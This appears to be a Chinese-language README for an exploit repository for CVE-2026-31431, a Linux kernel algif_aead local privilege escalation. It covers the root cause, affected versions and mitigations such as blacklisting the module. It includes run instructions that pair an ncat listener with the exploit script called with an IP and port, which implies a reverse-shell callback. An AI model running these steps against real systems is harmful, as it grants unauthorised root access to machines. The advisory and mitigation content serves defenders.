CVE-2026-31431 的本地权限提升漏洞利用程序,针对 Linux 内核 AF_ALG 逻辑缺陷,允许非特权用户向页缓存写入 4 字节并获取 root 权限。包含 PoC 脚本和缓解措施指南。
复制失败 是 Linux 内核加密子系统(algif_aead)中的一个高危本地权限提升(LPE)漏洞。该漏洞由 Theori(通过其 Xint Code AI 辅助漏洞研究工具)于 2026 年 4 月 29 日 发现并披露。该缺陷允许任何非特权本地用户向任意可读文件的页缓存中写入 4 个受控字节,并借此在自 2017 年以来发布的几乎所有主流 Linux 发行版上获取 root 权限。
一个可用的概念验证漏洞利用代码仅约 732 字节的 Python。
sudo ncat -lvnp PORT
# 使用 Python 脚本
python3 CVE-2026-31431-Exploit.py IP PORT
# 编译后的二进制文件
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT
AF_ALG 套接字并绑定到 authencesn(hmac(sha256),cbc(aes))实际上,自 2017 年以来发布的几乎所有主流 Linux 发行版 均受影响。
将内核更新到包含修复提交 fafe0fa2995a 的版本。大多数主流发行版已发布或正在发布更新的内核软件包。
如果无法立即修补:
algif_aead 模块加入黑名单:
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null
本仓库仅用于 教育和防御目的。此处信息旨在帮助安全团队理解、检测和缓解 CVE-2026-31431。请始终遵循负责任披露实践和适用法律。
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-31431 |
| CVSS 评分 | 7.8(高危) |
| 类型 | 本地权限提升(LPE) |
| 组件 | algif_aead — Linux 内核 AF_ALG 用户空间加密接口 |
| 根本原因 | authencesn AEAD 模板中的逻辑缺陷;一处就地优化(提交 72548b093ee3,2017 年 8 月)导致页缓存页面出现在内核可写的目标散列表中 |
| 原语 | 向任意可读文件的页缓存写入 4 字节受控数据 |
| 利用机制 | AF_ALG 套接字 → splice() → 破坏 setuid 二进制的页缓存 → root |
| 是否存在竞态条件? | ❌ 无 — 直线逻辑缺陷,100% 可靠 |
| 是否需要内核偏移? | ❌ 不需要 |
| 修复提交 | fafe0fa2995a(回滚 2017 年的优化) |
| 受影响 | 不受影响 |
|---|
| Linux 内核 4.14 至 7.0-rc | 4.14 之前的内核(2017 年 8 月提交之前) |
| 所有 6.18.x(早于 6.18.22) | 6.18.22+(已修补) |
| 所有 6.19.x(早于 6.19.12) | 6.19.12+(已修补) |